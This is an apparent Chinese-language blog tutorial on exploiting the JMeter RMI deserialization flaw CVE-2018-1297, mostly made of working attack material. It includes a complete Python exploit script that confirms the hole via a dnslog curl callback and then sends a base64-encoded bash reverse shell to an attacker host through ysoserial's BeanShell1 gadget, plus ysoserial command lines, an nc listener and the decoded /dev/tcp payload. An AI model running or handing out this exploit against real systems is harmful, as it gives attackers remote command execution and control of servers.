Jmeter RMI 反序列化命令执行漏洞


基础知识

JMeter

Apache
JMeter是Apache开发的基于Java的压力测试工具。用于对软件做压力测试,它最初被设计用于Web应用测试,但后来扩展到其他测试领域。
它可以用于测试静态和动态资源,例如静态文件、Java 小服务程序、CGI 脚本、Java 对象、数据库、FTP 服务器等等。

JMeter
可以用于对服务器、网络或对象模拟巨大的负载,来自不同压力类别下测试它们的强度和分析整体性能。另外,JMeter能够对应用程序做功能/回归测试,通过创建带有断言的脚本来验证你的程序是否返回了你期望的结果。为了最大限度的灵活性,JMeter允许使用正则表达式创建断言。

Docker

Docker 技术使用 Linux 内核和内核功能(例如 Cgroups 和
namespaces)来分隔进程,以便各进程相互独立运行。这种独立性正是采用容器的目的所在;它可以独立运行多种进程、多个应用,更加充分地发挥基础设施的作用,同时保持各个独立系统的安全性。

Docker容器与虚拟化的区别

两者为互补关系

虚拟化使得您的操作系统(Windows 或 Linux)可同时在单个硬件系统上运行。

容器则可共享同一个操作系统内核,将应用进程与系统其他部分隔离开。例如:ARM Linux 系统运行 ARM Linux 容器,x86
Linux 系统运行 x86 Linux 容器,x86 Windows 系统运行 x86 Windows 容器。Linux
容器具有极佳的可移植性,但前提是它们必须与底层系统兼容。


提示:以下是本篇文章正文内容,下面案例可供参考

一、本漏洞基础知识

1.java反序列化漏洞

Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。

序列化和反序列化本身并不存在问题。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。

2.ysoserial项目介绍

ysoserial是一款在Github开源的知名java 反序列化利用工具,里面集合了各种java反序列化payload;

由于其中部分payload使用到的低版本JDK中的类,所以建议使用低版本JDK .

3.漏洞描述

当使用基于RMI的分布式测试时,jmeter使用了不安全的RMI联系,导致攻击者可以访问JMeterEngine并发送恶意代码。

4.漏洞危害

【CVE-2018-1297】Jmeter RMI 反序列化命令执行漏洞评分9.8分,危害评级为严重。

攻击者利用该漏洞可以远程命令执行,反弹shell,得到服务器控制权限。

漏洞影响版本

2.x版本和3.x版本

二、使用步骤

1.提前备好python脚本

代码如下(示例):


#!/usr/bin/python3
# -*- coding: UTF-8 -*-
"""
@Author  : xDroid
@File    : JmeterRMI.py
@Time    : ???
"""
import sys
import subprocess
import requests
import time
from hashlib import md5
import random
import optparse
import base64


class JMeter:
    def __init__(self,host,rhost,rport):
        self.host = host
        self.rhost = rhost
        self.rport = rport
        self.header={'cookie': 'UM_distinctid=17333bd886662-037f6fda493dae-4c302372-100200-17333bd8867b; CNZZDATA1278305074=612386535-1594299183-null%7C1594299183; PHPSESSID=drh67vlau4chdn44eadh0m16a0',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0'}
        self.JmeterRMIpoc()

    def randmd5(self):
        new_md5 = md5()
        new_md5.update(str(random.randint(1, 1000)).encode())
        return new_md5.hexdigest()[:6]

    def RMIRegistryExploit(self,command):
        cmd = 'java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit %s 1099 BeanShell1 "%s"'%(self.host,command)
        try:
            subprocess.Popen(cmd, stdout=subprocess.PIPE,stderr=subprocess.PIPE)
        except:
            print('ysoserial利用失败')
            sys.exit(0)
            
    def JmeterRMIpoc(self):
        print("[+]探测主机是否存在Jmeter RMI反序列化命令执行漏洞")
        rand = self.randmd5()
        getDoMain = 'http://www.dnslog.cn/getdomain.php'
        r = requests.get(getDoMain,headers=self.header, timeout=5)
        if r.status_code==200:
            dnslogUrl =rand +'.'+r.text
        else:
            sys.exit()
        command = "curl " +dnslogUrl
        self.RMIRegistryExploit(command)
        time.sleep(5)
        getRecords='http://www.dnslog.cn/getrecords.php'
        re =requests.get(getRecords,headers=self.header,timeout=5)
        if re.status_code==200:
            if rand in re.text:
                print('[+]存在Jmeter RMI反序列化命令执行')
                self.JmeterRMIexp()
            else:
                print('没有回显,POC验证失败')
                sys.exit(0)
        else:
            print('没有访问dnslog地址,POC验证失败')
            sys.exit(0)

    def JmeterRMIexp(self):
        print("Jmeter RMI反序列化命令执行")
        shell = 'bash -i >&/dev/tcp/%s/%s 0>&1'%(self.rhost,self.rport)
        shellbase64=base64.b64encode(shell.encode()).decode()
        shellencode = 'bash -c {echo,'+shellbase64+'}|{base64,-d}|{bash,-i}'
        try:
            self.RMIRegistryExploit(shellencode)
            print("Jmeter RMI反序列化命令执行完成")
        except:
            sys.exit(0)

if __name__ == '__main__':
    parser = optparse.OptionParser('python3 %prog'+'-h')
    parser.add_option('-u',dest='host',type='str',help='target IP')
    parser.add_option('-r',dest='rhost',type=str,help='vps IP')
    parser.add_option('-p',dest='rport',type=str,help='vps port')
    (options,args)=parser.parse_args()
    JMeter(options.host,options.rhost,options.rport)

2.配置java环境及脚本

可在网站下载:
ysoserial-0.0.6-SNAPSHOT-all.jar

将准备好的python脚本与jar包放置于同一目录下

三、漏洞利用

1.进入python脚本目录

ysoserial是一款在Github开源的知名java 反序列化利用工具,里面集合了各种java反序列化payload;由于其中部分payload使用到的低版本JDK中的类,所以建议使用低版本JDK .
在准备好的ysoserial反序列化利用工具目录下打开终端。
输入:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 192.168.0.2 1099 BeanShell1 'touch /tmp/success'

二.进行命令执行验证

touch 命令用于创建空文件,也可以更改 Unix 和 Linux 系统上现有文件时间戳。更改时间戳意味着更新文件和目录的访问以及修改时间。

此处通过touch /tmp/success命令,在linux特有临时目录/tmp下创建空文件,由于通常该目录中不会存在该名称的文件,所以可以作为命令执行的验证命令.

四、反弹shell

一.为什么进行反弹shell

当我们在渗透Linux主机时,反弹一个交互的shell是非常有必要的。反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形导致连接失败。

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

  1. 对方主机在局域网内,从外网无法直接访问。

  2. 对方主机上存在WAF,对主动连接发来的请求数据检测严格,而对向外发出的请求不进行检测或检测较少。

  3. 对方的ip会动态改变,你不能持续控制。

  4. 对方由于防火墙等限制,对方机器只能发送请求,不能接收请求。

  5. 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

kali开启监听
输入命令:

nc -lvp 1234

二.对命令加密

对反弹shell的命令进行加密,通过bash的方法对我们要执行的语句进行加密,加密网站:http://www.jackson-t.ca/runtime-exec-payloads.html

输入反弹shell命令,获取加密结果
加密结果:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

三.反弹shell

在ysoserial反序列化利用工具目录中打开终端,输入:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 192.168.0.2 1099 BeanShell1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'

以上命令原理:

bash -c(会将第一个空格后的内容作为第一个空格前的命令的参数,
echo输出YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC8xMjM0IDA+JjE=至base64命令,
作为输入,-d参数对输入进行解密,解密后为:bash -i >& /dev/tcp/192.168.0.4/1234 0>&1
该命令通过bash -i 来产生一个交互shell,&> 将bash标准输出重定向到/dev/tcp/192.168.0.4/1234的主机上,
0>&1将标准输入重定向到标准输出,以进行远程bash的交互.
随后作为输入传入到{bash,i}命令中,
最后将payload通过nc发送至192.168.0.2:4712)
使用该加密方法是由于Runtime.getRuntime.exec()函数的可控参数数量唯一时,会对常用bash命令如>,<或使用系统变量时造成错误.
简单来讲就是通过jar文件生成payload,使用nc将payload发送到目标服务器,其中payload使用可以绕过java命令执行函数限制的方式编写

监听终端成功接收到反弹shell


  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值